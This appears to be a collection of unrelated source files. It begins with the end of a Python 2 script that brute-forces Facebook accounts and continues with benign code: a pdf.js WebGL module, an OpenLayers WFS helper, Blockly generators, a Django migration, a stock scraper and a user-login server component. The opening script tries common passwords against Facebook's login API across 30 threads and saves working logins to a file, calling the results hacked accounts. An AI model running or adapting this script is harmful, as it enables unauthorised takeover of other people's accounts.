cpb.append(c+user+pass3)
else:
pass4="000786"
data = br.open('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email=' +k+c+user+ '&locale=en_US&password=' + pass4 + '&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm')
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;93m(Open \x1b[1;96mNow \x1b[1;92m) ' + k + c + user + '\x1b[1;91m ● \x1b[1;95m' + pass4
okb = open('save/login.txt', 'a')
okb.write(k+c+user+pass4+'\n')
okb.close()
oks.append(c+user+pass4)
else:
if 'www.facebook.com' in q['error_msg']:
print '\033[1;92m(Aftar \x1b[1;97mNow \x1b[1;93m) ' + k + c + user + '\x1b[1;91m ● \x1b[1;96m' + pass4
cps = open('save/login.txt', 'a')
cps.write(k+c+user+pass4+'\n')
cps.close()
cpb.append(c+user+pass4)
else:
pass5="786786"
data = br.open('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email=' +k+c+user+ '&locale=en_US&password=' + pass5 + '&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm')
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;93m(Open \x1b[1;96mNow \x1b[1;92m) ' + k + c + user + '\x1b[1;91m ● \x1b[1;95m' + pass5
okb = open('save/login.txt', 'a')
okb.write(k+c+user+pass5+'\n')
okb.close()
oks.append(c+user+pass5)
else:
if 'www.facebook.com' in q['error_msg']:
print '\033[1;92m(Aftar \x1b[1;96mNow \x1b[1;93m) ' + k + c + user + '\x1b[1;91m ● \x1b[1;96m' + pass5
cps = open('save/login.txt', 'a')
cps.write(k+c+user+pass5+'\n')
cps.close()
cpb.append(c+user+pass5)
else:
pass4="786000"
data = br.open('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email=' +k+c+user+ '&locale=en_US&password=' + pass4 + '&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm')
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;93m(Open \x1b[1;96mNow \x1b[1;92m) ' + k + c + user + '\x1b[1;91m ● \x1b[1;95m' + pass6
okb = open('save/login.txt', 'a')
okb.write(k+c+user+pass6+'\n')
okb.close()
oks.append(c+user+pass6)
else:
pass4="Pubglover"
data = br.open('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email=' +k+c+user+ '&locale=en_US&password=' + pass4 + '&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm')
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;93m(Open \x1b[1;96mNow \x1b[1;92m) ' + k + c + user + '\x1b[1;91m ● \x1b[1;95m' + pass7
okb = open('save/login.txt', 'a')
okb.write(k+c+user+pass6+'\n')
okb.close()
oks.append(c+user+pass7)
except:
pass
p = ThreadPool(30)
p.map(main, id)
print 50* '\033[1;91m-'
print 'Bas ab me thak gya mama ...'
print 'Total Online/Offline : '+str(len(Hayee-Mazzys))+'/'+str(len(Oo-terib))
print('Cloned Accounts Has Been Saved : save/cloned.txt')
jalan("Note : Your hacked account Will Open after 12 hour")
print ''
print """
raw_input("\n\033[1;92m[\033[1;92mBack\033[1;95m]")
login()
if __name__ == '__main__':
login()
|
import os
import platform
from setuptools import setup
dependencies = ["Werkzeug==0.9.4"]
if platform.python_version() < '2.7':
dependencies.append("unittest2")
DESCRIPTION = ""
with open(os.path.join(os.path.dirname(__file__), 'README.rst'), 'r') as f:
DESCRIPTION = f.read()
setup(
name="wsgitestcase",
version="0.1",
author="Anton Baklanov",
author_email="[email protected]",
license="MIT",
url="https://github.com/bak1an/wsgitestcase",
py_modules=["wsgitestcase"],
install_requires=dependencies,
description="TestCase that will launch your wsgi/werkzeug application in a separate thread for you",
long_description=DESCRIPTION,
classifiers=[
"License :: OSI Approved :: MIT License",
"Programming Language :: Python :: 2",
"Programming Language :: Python :: 3",
"Topic :: Software Development :: Testing"
]
)
|
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.WebGLContext = void 0;
var _util = require("../shared/util.js");
class WebGLContext {
constructor({
enable = false
}) {
this._enabled = enable === true;
}
get isEnabled() {
let enabled = this._enabled;
if (enabled) {
enabled = WebGLUtils.tryInitGL();
}
return (0, _util.shadow)(this, "isEnabled", enabled);
}
composeSMask({
layer,
mask,
properties
}) {
return WebGLUtils.composeSMask(layer, mask, properties);
}
drawFigures({
width,
height,
backgroundColor,
figures,
context
}) {
return WebGLUtils.drawFigures(width, height, backgroundColor, figures, context);
}
clear() {
WebGLUtils.cleanup();
}
}
exports.WebGLContext = WebGLContext;
var WebGLUtils = function WebGLUtilsClosure() {
function loadShader(gl, code, shaderType) {
var shader = gl.createShader(shaderType);
gl.shaderSource(shader, code);
gl.compileShader(shader);
var compiled = gl.getShaderParameter(shader, gl.COMPILE_STATUS);
if (!compiled) {
var errorMsg = gl.getShaderInfoLog(shader);
throw new Error("Error during shader compilation: " + errorMsg);
}
return shader;
}
function createVertexShader(gl, code) {
return loadShader(gl, code, gl.VERTEX_SHADER);
}
function createFragmentShader(gl, code) {
return loadShader(gl, code, gl.FRAGMENT_SHADER);
}
function createProgram(gl, shaders) {
var program = gl.createProgram();
for (var i = 0, ii = shaders.length; i < ii; ++i) {
gl.attachShader(program, shaders[i]);
}
gl.linkProgram(program);
var linked = gl.getProgramParameter(program, gl.LINK_STATUS);
if (!linked) {
var errorMsg = gl.getProgramInfoLog(program);
throw new Error("Error during program linking: " + errorMsg);
}
return program;
}
function createTexture(gl, image, textureId) {
gl.activeTexture(textureId);
var texture = gl.createTexture();
gl.bindTexture(gl.TEXTURE_2D, texture);
gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE);
gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE);
gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.NEAREST);
gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MAG_FILTER, gl.NEAREST);
gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA, gl.RGBA, gl.UNSIGNED_BYTE, image);
return texture;
}
var currentGL, currentCanvas;
function generateGL() {
if (currentGL) {
return;
}
currentCanvas = document.createElement("canvas");
currentGL = currentCanvas.getContext("webgl", {
premultipliedalpha: false
});
}
var smaskVertexShaderCode = "\
attribute vec2 a_position; \
attribute vec2 a_texCoord; \
\
uniform vec2 u_resolution; \
\
varying vec2 v_texCoord; \
\
void main() { \
vec2 clipSpace = (a_position / u_resolution) * 2.0 - 1.0; \
gl_Position = vec4(clipSpace * vec2(1, -1), 0, 1); \
\
v_texCoord = a_texCoord; \
} ";
var smaskFragmentShaderCode = "\
precision mediump float; \
\
uniform vec4 u_backdrop; \
uniform int u_subtype; \
uniform sampler2D u_image; \
uniform sampler2D u_mask; \
\
varying vec2 v_texCoord; \
\
void main() { \
vec4 imageColor = texture2D(u_image, v_texCoord); \
vec4 maskColor = texture2D(u_mask, v_texCoord); \
if (u_backdrop.a > 0.0) { \
maskColor.rgb = maskColor.rgb * maskColor.a + \
u_backdrop.rgb * (1.0 - maskColor.a); \
} \
float lum; \
if (u_subtype == 0) { \
lum = maskColor.a; \
} else { \
lum = maskColor.r * 0.3 + maskColor.g * 0.59 + \
maskColor.b * 0.11; \
} \
imageColor.a *= lum; \
imageColor.rgb *= imageColor.a; \
gl_FragColor = imageColor; \
} ";
var smaskCache = null;
function initSmaskGL() {
var canvas, gl;
generateGL();
canvas = currentCanvas;
currentCanvas = null;
gl = currentGL;
currentGL = null;
var vertexShader = createVertexShader(gl, smaskVertexShaderCode);
var fragmentShader = createFragmentShader(gl, smaskFragmentShaderCode);
var program = createProgram(gl, [vertexShader, fragmentShader]);
gl.useProgram(program);
var cache = {};
cache.gl = gl;
cache.canvas = canvas;
cache.resolutionLocation = gl.getUniformLocation(program, "u_resolution");
cache.positionLocation = gl.getAttribLocation(program, "a_position");
cache.backdropLocation = gl.getUniformLocation(program, "u_backdrop");
cache.subtypeLocation = gl.getUniformLocation(program, "u_subtype");
var texCoordLocation = gl.getAttribLocation(program, "a_texCoord");
var texLayerLocation = gl.getUniformLocation(program, "u_image");
var texMaskLocation = gl.getUniformLocation(program, "u_mask");
var texCoordBuffer = gl.createBuffer();
gl.bindBuffer(gl.ARRAY_BUFFER, texCoordBuffer);
gl.bufferData(gl.ARRAY_BUFFER, new Float32Array([0.0, 0.0, 1.0, 0.0, 0.0, 1.0, 0.0, 1.0, 1.0, 0.0, 1.0, 1.0]), gl.STATIC_DRAW);
gl.enableVertexAttribArray(texCoordLocation);
gl.vertexAttribPointer(texCoordLocation, 2, gl.FLOAT, false, 0, 0);
gl.uniform1i(texLayerLocation, 0);
gl.uniform1i(texMaskLocation, 1);
smaskCache = cache;
}
function composeSMask(layer, mask, properties) {
var width = layer.width,
height = layer.height;
if (!smaskCache) {
initSmaskGL();
}
var cache = smaskCache,
canvas = cache.canvas,
gl = cache.gl;
canvas.width = width;
canvas.height = height;
gl.viewport(0, 0, gl.drawingBufferWidth, gl.drawingBufferHeight);
gl.uniform2f(cache.resolutionLocation, width, height);
if (properties.backdrop) {
gl.uniform4f(cache.resolutionLocation, properties.backdrop[0], properties.backdrop[1], properties.backdrop[2], 1);
} else {
gl.uniform4f(cache.resolutionLocation, 0, 0, 0, 0);
}
gl.uniform1i(cache.subtypeLocation, properties.subtype === "Luminosity" ? 1 : 0);
var texture = createTexture(gl, layer, gl.TEXTURE0);
var maskTexture = createTexture(gl, mask, gl.TEXTURE1);
var buffer = gl.createBuffer();
gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
gl.bufferData(gl.ARRAY_BUFFER, new Float32Array([0, 0, width, 0, 0, height, 0, height, width, 0, width, height]), gl.STATIC_DRAW);
gl.enableVertexAttribArray(cache.positionLocation);
gl.vertexAttribPointer(cache.positionLocation, 2, gl.FLOAT, false, 0, 0);
gl.clearColor(0, 0, 0, 0);
gl.enable(gl.BLEND);
gl.blendFunc(gl.ONE, gl.ONE_MINUS_SRC_ALPHA);
gl.clear(gl.COLOR_BUFFER_BIT);
gl.drawArrays(gl.TRIANGLES, 0, 6);
gl.flush();
gl.deleteTexture(texture);
gl.deleteTexture(maskTexture);
gl.deleteBuffer(buffer);
return canvas;
}
var figuresVertexShaderCode = "\
attribute vec2 a_position; \
attribute vec3 a_color; \
\
uniform vec2 u_resolution; \
uniform vec2 u_scale; \
uniform vec2 u_offset; \
\
varying vec4 v_color; \
\
void main() { \
vec2 position = (a_position + u_offset) * u_scale; \
vec2 clipSpace = (position / u_resolution) * 2.0 - 1.0; \
gl_Position = vec4(clipSpace * vec2(1, -1), 0, 1); \
\
v_color = vec4(a_color / 255.0, 1.0); \
} ";
var figuresFragmentShaderCode = "\
precision mediump float; \
\
varying vec4 v_color; \
\
void main() { \
gl_FragColor = v_color; \
} ";
var figuresCache = null;
function initFiguresGL() {
var canvas, gl;
generateGL();
canvas = currentCanvas;
currentCanvas = null;
gl = currentGL;
currentGL = null;
var vertexShader = createVertexShader(gl, figuresVertexShaderCode);
var fragmentShader = createFragmentShader(gl, figuresFragmentShaderCode);
var program = createProgram(gl, [vertexShader, fragmentShader]);
gl.useProgram(program);
var cache = {};
cache.gl = gl;
cache.canvas = canvas;
cache.resolutionLocation = gl.getUniformLocation(program, "u_resolution");
cache.scaleLocation = gl.getUniformLocation(program, "u_scale");
cache.offsetLocation = gl.getUniformLocation(program, "u_offset");
cache.positionLocation = gl.getAttribLocation(program, "a_position");
cache.colorLocation = gl.getAttribLocation(program, "a_color");
figuresCache = cache;
}
function drawFigures(width, height, backgroundColor, figures, context) {
if (!figuresCache) {
initFiguresGL();
}
var cache = figuresCache,
canvas = cache.canvas,
gl = cache.gl;
canvas.width = width;
canvas.height = height;
gl.viewport(0, 0, gl.drawingBufferWidth, gl.drawingBufferHeight);
gl.uniform2f(cache.resolutionLocation, width, height);
var count = 0;
var i, ii, rows;
for (i = 0, ii = figures.length; i < ii; i++) {
switch (figures[i].type) {
case "lattice":
rows = figures[i].coords.length / figures[i].verticesPerRow | 0;
count += (rows - 1) * (figures[i].verticesPerRow - 1) * 6;
break;
case "triangles":
count += figures[i].coords.length;
break;
}
}
var coords = new Float32Array(count * 2);
var colors = new Uint8Array(count * 3);
var coordsMap = context.coords,
colorsMap = context.colors;
var pIndex = 0,
cIndex = 0;
for (i = 0, ii = figures.length; i < ii; i++) {
var figure = figures[i],
ps = figure.coords,
cs = figure.colors;
switch (figure.type) {
case "lattice":
var cols = figure.verticesPerRow;
rows = ps.length / cols | 0;
for (var row = 1; row < rows; row++) {
var offset = row * cols + 1;
for (var col = 1; col < cols; col++, offset++) {
coords[pIndex] = coordsMap[ps[offset - cols - 1]];
coords[pIndex + 1] = coordsMap[ps[offset - cols - 1] + 1];
coords[pIndex + 2] = coordsMap[ps[offset - cols]];
coords[pIndex + 3] = coordsMap[ps[offset - cols] + 1];
coords[pIndex + 4] = coordsMap[ps[offset - 1]];
coords[pIndex + 5] = coordsMap[ps[offset - 1] + 1];
colors[cIndex] = colorsMap[cs[offset - cols - 1]];
colors[cIndex + 1] = colorsMap[cs[offset - cols - 1] + 1];
colors[cIndex + 2] = colorsMap[cs[offset - cols - 1] + 2];
colors[cIndex + 3] = colorsMap[cs[offset - cols]];
colors[cIndex + 4] = colorsMap[cs[offset - cols] + 1];
colors[cIndex + 5] = colorsMap[cs[offset - cols] + 2];
colors[cIndex + 6] = colorsMap[cs[offset - 1]];
colors[cIndex + 7] = colorsMap[cs[offset - 1] + 1];
colors[cIndex + 8] = colorsMap[cs[offset - 1] + 2];
coords[pIndex + 6] = coords[pIndex + 2];
coords[pIndex + 7] = coords[pIndex + 3];
coords[pIndex + 8] = coords[pIndex + 4];
coords[pIndex + 9] = coords[pIndex + 5];
coords[pIndex + 10] = coordsMap[ps[offset]];
coords[pIndex + 11] = coordsMap[ps[offset] + 1];
colors[cIndex + 9] = colors[cIndex + 3];
colors[cIndex + 10] = colors[cIndex + 4];
colors[cIndex + 11] = colors[cIndex + 5];
colors[cIndex + 12] = colors[cIndex + 6];
colors[cIndex + 13] = colors[cIndex + 7];
colors[cIndex + 14] = colors[cIndex + 8];
colors[cIndex + 15] = colorsMap[cs[offset]];
colors[cIndex + 16] = colorsMap[cs[offset] + 1];
colors[cIndex + 17] = colorsMap[cs[offset] + 2];
pIndex += 12;
cIndex += 18;
}
}
break;
case "triangles":
for (var j = 0, jj = ps.length; j < jj; j++) {
coords[pIndex] = coordsMap[ps[j]];
coords[pIndex + 1] = coordsMap[ps[j] + 1];
colors[cIndex] = colorsMap[cs[j]];
colors[cIndex + 1] = colorsMap[cs[j] + 1];
colors[cIndex + 2] = colorsMap[cs[j] + 2];
pIndex += 2;
cIndex += 3;
}
break;
}
}
if (backgroundColor) {
gl.clearColor(backgroundColor[0] / 255, backgroundColor[1] / 255, backgroundColor[2] / 255, 1.0);
} else {
gl.clearColor(0, 0, 0, 0);
}
gl.clear(gl.COLOR_BUFFER_BIT);
var coordsBuffer = gl.createBuffer();
gl.bindBuffer(gl.ARRAY_BUFFER, coordsBuffer);
gl.bufferData(gl.ARRAY_BUFFER, coords, gl.STATIC_DRAW);
gl.enableVertexAttribArray(cache.positionLocation);
gl.vertexAttribPointer(cache.positionLocation, 2, gl.FLOAT, false, 0, 0);
var colorsBuffer = gl.createBuffer();
gl.bindBuffer(gl.ARRAY_BUFFER, colorsBuffer);
gl.bufferData(gl.ARRAY_BUFFER, colors, gl.STATIC_DRAW);
gl.enableVertexAttribArray(cache.colorLocation);
gl.vertexAttribPointer(cache.colorLocation, 3, gl.UNSIGNED_BYTE, false, 0, 0);
gl.uniform2f(cache.scaleLocation, context.scaleX, context.scaleY);
gl.uniform2f(cache.offsetLocation, context.offsetX, context.offsetY);
gl.drawArrays(gl.TRIANGLES, 0, count);
gl.flush();
gl.deleteBuffer(coordsBuffer);
gl.deleteBuffer(colorsBuffer);
return canvas;
}
return {
tryInitGL() {
try {
generateGL();
return !!currentGL;
} catch (ex) {}
return false;
},
composeSMask,
drawFigures,
cleanup() {
if (smaskCache && smaskCache.canvas) {
smaskCache.canvas.width = 0;
smaskCache.canvas.height = 0;
}
if (figuresCache && figuresCache.canvas) {
figuresCache.canvas.width = 0;
figuresCache.canvas.height = 0;
}
smaskCache = null;
figuresCache = null;
}
};
}(); |
import $ from 'jquery';
import GeoJSONFormat from 'ol/format/GeoJSON';
import viewer from '../../viewer';
import wfsTransaction from '../editor/wfstransaction';
const wfs = {};
wfs.request = function request(layer) {
const sourceOptions = viewer.getMapSource()[layer.get('sourceName')];
sourceOptions.featureType = layer.get('name').split('__').shift();
sourceOptions.geometryName = layer.get('geometryName');
sourceOptions.filter = layer.get('filter');
sourceOptions.projectionCode = viewer.getProjectionCode();
sourceOptions.extent = layer.get('extent');
sourceOptions.projectionCode = viewer.getProjectionCode();
const req = createRequest(sourceOptions);
return req;
function createRequest(options) {
const format = new GeoJSONFormat({
geometryName: options.geometryName
});
const serverUrl = options.url;
let queryFilter;
// If cql filter then bbox must be used in the filter.
if (options.filter) {
queryFilter = `&CQL_FILTER=${options.filter} AND BBOX(${options.geometryName},${options.extent.join(',')},'${options.projectionCode}')`;
} else {
queryFilter = `&BBOX=${options.extent.join(',')},${options.projectionCode}`;
}
const url = [
`${serverUrl}`,
'?service=WFS&',
`version=1.1.0&request=GetFeature&typeName=${options.featureType}`,
'&outputFormat=application/json',
`&srsname=${options.projectionCode}`,
`${queryFilter}`
].join('');
return $.ajax({
url,
cache: false
})
.then(response => format.readFeatures(response));
}
};
wfs.transaction = function transaction(transObj, layerName) {
return wfsTransaction(transObj, layerName);
};
export default wfs;
|
Blockly.JavaScript['pin_output'] = function (block) {
var b7 = block.getFieldValue('bit7');
var b6 = block.getFieldValue('bit6');
var b5 = block.getFieldValue('bit5');
var b4 = block.getFieldValue('bit4');
var b3 = block.getFieldValue('bit3');
var b2 = block.getFieldValue('bit2');
var b1 = block.getFieldValue('bit1');
var b0 = block.getFieldValue('bit0');
var vc = Blockly.JavaScript.valueToCode(block, 'convert', Blockly.JavaScript.ORDER_ATOMIC);
var code = "getPinOut(board,'" + b7 + "','" + b6 + "'," + "'" + b5 + "'," + "'" + b4 + "'," +
"'" + b3 + "'," + "'" + b2 + "'," + "'" + b1 + "'," + "'" + b0 + "').digitalWrite(" + vc + ");\n";
return code;
}
Blockly.JavaScript['hex_convert'] = function (block) {
var value_numhex = Blockly.JavaScript.valueToCode(block, 'numHex');
var code = "parseInt(" + value_numhex + ",16)";
return [code, Blockly.JavaScript.ORDER_NONE];
};
Blockly.JavaScript['bin_convert'] = function (block) {
var value_numbin = Blockly.JavaScript.valueToCode(block, 'numBin');
var code = "parseInt(" + value_numbin + ",2)";
return [code, Blockly.JavaScript.ORDER_NONE];
}; |
'use strict'
const db = require('../lib/query')
const User = function (user) {
}
User.prototype.create = function (user, cb) {
if (!user.ctime) {
user.utime = user.ctime = getTime()
}
db.query('INSERT INTO users(uid,name,utime,ctime) VALUES($uid,$name,$utime,$ctime)', user, function (err, rows) {
cb(err, rows)
})
}
User.prototype.read = function (uid, cb) {
db.query('SELECT * FROM users WHERE uid = $uid and deleted = 0', {uid: uid}, function (err, rows) {
cb(err, rows)
})
}
module.exports = new User()
|
# Generated by Django 2.0.3 on 2018-09-27 08:47
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('checkout', '0008_rename_tables'),
]
operations = [
migrations.AddField(
model_name='cartline',
name='param_file',
field=models.FileField(blank=True, null=True, upload_to='saved_files/param_files'),
),
]
|
from config.blacklist import allowed
from autopep8 import fix_code
from os.path import basename, splitext
from pathlib import Path
import asyncio
class Pep8:
ENCODING = 'utf-8'
OPTIONS = {
'pep8_passes': 10,
'experimental': True,
'aggressive': 8
}
@staticmethod
@asyncio.coroutine
def _on_file_async(path):
"""
Run pep8 on file.
:param path:
:return:
"""
raw = path.read_text(encoding=Pep8.ENCODING)
formatted = fix_code(
raw,
options=Pep8.OPTIONS,
encoding=Pep8.ENCODING
)
if raw != formatted:
path.write_text(
formatted,
encoding=Pep8.ENCODING
)
@staticmethod
def _on_file(path):
"""
Run pep8 on file.
:param path:
:return:
"""
raw = path.read_text(encoding=Pep8.ENCODING)
formatted = fix_code(
raw,
options=Pep8.OPTIONS,
encoding=Pep8.ENCODING
)
if raw != formatted:
path.write_text(
formatted,
encoding=Pep8.ENCODING
)
@staticmethod
def _on_dir(path):
"""
Iter each path in dir.
:param path:
:return:
"""
if allowed(basename(path)):
for file in path.iterdir():
Pep8.run(str(file))
@staticmethod
def _on_dir_for_async(path, paths):
"""
Iter each path in dir.
:param path:
:return:
"""
if allowed(basename(path)):
for file in path.iterdir():
paths = Pep8.gather_paths(str(file), paths)
return paths
@staticmethod
def gather_paths(string: str, paths: list) -> list:
"""
Gather paths for async loop run.
:param paths:
:param string:
:return:
"""
if allowed(string):
path = Path(string)
if path.is_file() and splitext(string)[1] == '.py':
paths.append(path)
# Pep8._on_file(path)
elif path.is_dir():
paths = Pep8._on_dir_for_async(path, paths)
return paths
@staticmethod
def run(string: str):
"""
Runs autopep8 on path.
:param string:
:return:
"""
if allowed(string):
path = Path(string)
if path.is_file() and splitext(string)[1] == '.py':
Pep8._on_file(path)
elif path.is_dir():
Pep8._on_dir(path)
|
##############
'''
Author: Vaibhav Khaitan
Date: July 2016
Scrape Stock data using Yahoo Finance API
Script asks user for Stock symbol and starting year
Script outputs a CSV file with open/high/low/close/volume for given stock
'''
##############
import datetime
import pandas as pd
import csv
import os
import matplotlib.pyplot as plt
import matplotlib.dates as mdates
from pandas import DataFrame
from pandas_datareader import data as dr
from pyalgotrade.barfeed import yahoofeed
# NYSE TOP 40 Stocks
# Read 2 stocks
f = open('stock.txt', 'r')
symbols_list = [f.readline()[:-1], f.readline()]
print(symbols_list)
if os.path.isfile(symbols_list[0] + '-' + symbols_list[1] + '.csv') == False:
symbols = []
now = datetime.datetime.now()
is_today = 0
for ticker in symbols_list:
print(ticker)
i, j = 1, 1
for i in range(1, 13):
print(i)
if (is_today == 1):
break
for j in range(1, 21):
if(now.month == i + 1 and now.day == j + 1):
is_today = 1
break
print(j)
r = DataReader(ticker, "yahoo", start=datetime.datetime(2016, i, j))
# add a symbol column
r['Symbol'] = ticker
symbols.append(r)
j += 1
i += 1
# concatenate all the dataframes
df = pd.concat(symbols)
# create an organized cell from the new dataframe
cell = df[['Symbol', 'Open', 'High', 'Low', 'Adj Close', 'Volume']]
cell.reset_index().sort(['Symbol', 'Date'], ascending=[1, 1]).set_index('Symbol').to_csv(
symbols_list[0] + '-' + symbols_list[1] + '.csv', date_format='%d/%m/%Y')
inFile = open(symbols_list[0] + '-' + symbols_list[1] + '.csv', 'r')
outFile = open(symbols_list[0] + ' to ' + symbols_list[1] + '.csv', 'w')
listLine = []
for line in inFile:
if line in listLine:
continue
else:
outFile.write(line)
listLine.append(line)
outFile.close()
inFile.close()
os.remove(symbols_list[0] + '-' + symbols_list[1] + '.csv')
print("Finished writing")
|
require('bootstrap-table/src/extensions/copy-rows/bootstrap-table-copy-rows.js');
|
// Simple User Login Server Component
// A component for the pixl-server daemon framework.
// Copyright (c) 2015 Joseph Huckaby
// Released under the MIT License
var assert = require("assert");
var Class = require("pixl-class");
var Component = require("pixl-server/component");
var Tools = require("pixl-tools");
var Mailer = require('pixl-mail');
var Request = require('pixl-request');
var bcrypt = require('bcrypt-node');
var ActiveDirectory = require('activedirectory2');
const util = require('util');
module.exports = Class.create({
__name: 'User',
__parent: Component,
defaultConfig: {
"smtp_hostname": "",
"session_expire_days": 30,
"max_failed_logins_per_hour": 5,
"max_forgot_passwords_per_hour": 3,
"free_accounts": 0,
"sort_global_users": 1,
"use_bcrypt": 1,
"valid_username_match": "^[\\w\\@\\-\\.]+$",
"block_username_match": "^(abuse|admin|administrator|localhost|127\\.0\\.0\\.1|nobody|noreply|root|support|sysadmin|webmanager|www|god|staff|null|0|constructor|__defineGetter__|__defineSetter__|hasOwnProperty|__lookupGetter__|__lookupSetter__|isPrototypeOf|propertyIsEnumerable|toString|valueOf|__proto__|toLocaleString)$",
"email_templates": {
"welcome_new_user": "",
"changed_password": "",
"recover_password": ""
},
"default_privileges": {
"admin": 0
}
},
hooks: null,
startup: function (callback) {
// start user service
this.logDebug(3, "User Manager starting up");
// register our class as an API namespace
this.server.API.addNamespace("user", "api_", this);
// add local references to other components
this.storage = this.server.Storage;
this.web = this.server.WebServer;
// hook system for integrating with outer webapp
this.hooks = {};
// cache this from config
// this.usernameMatch new RegExp(this.config.get('valid_username_match'));
this.usernameMatch = /^[\w\.\-]+@?[\w\.\-]+$/ // alphanum or email like
this.usernameBlock = new RegExp(this.config.get('block_username_match'), "i");
// startup complete
callback();
},
normalizeUsername: function (username) {
// lower-case, strip all non-alpha
if (!username) return '';
return username.toString().toLowerCase().replace(/\W+/g, '');
},
api_create: async function (args, callback) {
// create new user account
var self = this;
const storageGetAsync = util.promisify(self.storage.get);
const storagetPutAsync = util.promisify(self.storage.put);
const fireHookAsync = util.promisify(self.fireHook);
var user = args.params;
var path = 'users/' + this.normalizeUsername(user.username);
if (!this.config.get('free_accounts')) {
return this.doError('user', "Only administrators can create new users.", callback);
}
if (!this.requireParams(user, {
username: this.usernameMatch,
email: /^\S+\@\S+$/,
full_name: /\S/,
password: /.+/
}, callback)) return;
if (user.username.toString().match(this.usernameBlock)) {
return this.doError('user', "Username is blocked: " + user.username, callback);
}
// first, make sure user doesn't already exist
let old_user = await storageGetAsync(path);
if (old_user) return self.doError('user', "User already exists: " + user.username, callback);
// now we can create the user
user.active = 1;
user.created = user.modified = Tools.timeNow(true);
user.salt = Tools.generateUniqueID(64, user.username);
user.password = self.generatePasswordHash(user.password, user.salt);
user.privileges = Tools.copyHash(self.config.get('default_privileges') || {});
args.user = user;
try {
await fireHookAsync('before_create', args)
self.logDebug(6, "Creating user", user);
await storagetPutAsync(path, user);
self.logDebug(6, "Successfully created user: " + user.username);
self.logTransaction('user_create', user.username,
self.getClientInfo(args, { user: Tools.copyHashRemoveKeys(user, { password: 1, salt: 1 }) }));
callback({ code: 0 });
// add to manager user list in the background
if (self.config.get('sort_global_users')) {
self.storage.listInsertSorted('global/users', { username: user.username }, ['username', 1], function (err) {
if (err) self.logError(1, "Failed to add user to manager list: " + err);
// fire after hook in background
self.fireHook('after_create', args);
});
}
else {
self.storage.listUnshift('global/users', { username: user.username }, function (err) {
if (err) self.logError(1, "Failed to add user to manager list: " + err);
// fire after hook in background
self.fireHook('after_create', args);
});
}
// send e-mail in background (no callback)
args.user = user;
args.self_url = self.server.WebServer.getSelfURL(args.request, '/');
self.sendEmail('welcome_new_user', args);
}
catch (err) { self.doError('user', "Failed to create user: " + err, callback); }
},
do_ad_auth: function (user, password, domain) {
return new Promise((resolve, reject) => {
let ad = new ActiveDirectory({ url: ('ldap://' + domain) });
ad.authenticate(user, password, (err, auth) => {
if (err || !auth) { resolve(false) }
else { resolve(true) }
});
});
},
api_login: async function (args, callback) {
// user login, validate password, create new session
var self = this;
//const storageGetAsync = util.promisify(self.storage.get);
const getUserAsync = function (key) {
return new Promise((resolve, reject) => {
self.storage.get(key, (err, data) => {
if (err || !data) { resolve(undefined) }
else { resolve(data) }
});
});
}
var params = args.params;
if (!this.requireParams(params, {
username: this.usernameMatch,
password: /.+/
}, callback)) return;
// load user first
let user = await getUserAsync('users/' + this.normalizeUsername(params.username));
if (!user) {
return self.doError('login', "Username or password incorrect.", callback); // deliberately vague
}
if (user.force_password_reset) {
return self.doError('login', "Account is locked out. Please reset your password to unlock it.", callback);
}
if (!user.active) {
return self.doError('login', "User account is disabled: " + params.username, callback);
}
args.user = user;
let isValidPassword = false;
if (user.ext_auth) { // do AD auth
var ad_domain = self.server.config.get('ad_domain') || 'corp.cronical.com';
var ad_user = params.username + '@' + ad_domain;
// override default domain if username contains (e.g. [email protected])
if (params.username.split("@").length == 2) {
ad_domain = params.username.split("@")[1]
ad_user = params.username
}
isValidPassword = await self.do_ad_auth(ad_user, params.password, ad_domain);
}
else { // do local auth
isValidPassword = self.comparePasswords(params.password, user.password, user.salt)
}
if (!isValidPassword) {
// incorrect password
// (throttle this to prevent abuse)
var date_code = Math.floor(Tools.timeNow() / 3600);
if (date_code != user.fl_date_code) {
user.fl_date_code = date_code;
user.fl_count = 1;
}
else {
user.fl_count++;
if (user.fl_count > self.config.get('max_failed_logins_per_hour')) {
// lockout until password reset
self.logDebug(3, "Locking account due to too many failed login attempts: " + params.username);
user.force_password_reset = 1;
}
}
// save user to update counters
self.storage.put('users/' + self.normalizeUsername(params.username), user, function (err, data) {
return self.doError('login', "Username or password incorrect.", callback); // deliberately vague
});
}
self.fireHook('before_login', args, function (err) {
if (err) {
return self.doError('login', "Failed to login: " + err, callback);
}
// dates
var now = Tools.timeNow(true);
var expiration_date = Tools.normalizeTime(
now + (86400 * self.config.get('session_expire_days')),
{ hour: 0, min: 0, sec: 0 }
);
// create session id and object
var session_id = Tools.generateUniqueID(64, params.username);
var session = {
id: session_id,
username: params.username,
ip: args.ip,
useragent: args.request.headers['user-agent'],
created: now,
modified: now,
expires: expiration_date
};
self.logDebug(6, "Logging user in: " + params.username + ": New Session ID: " + session_id, session);
// store session object
self.storage.put('sessions/' + session_id, session, function (err, data) {
if (err) {
return self.doError('user', "Failed to create session: " + err, callback);
}
else {
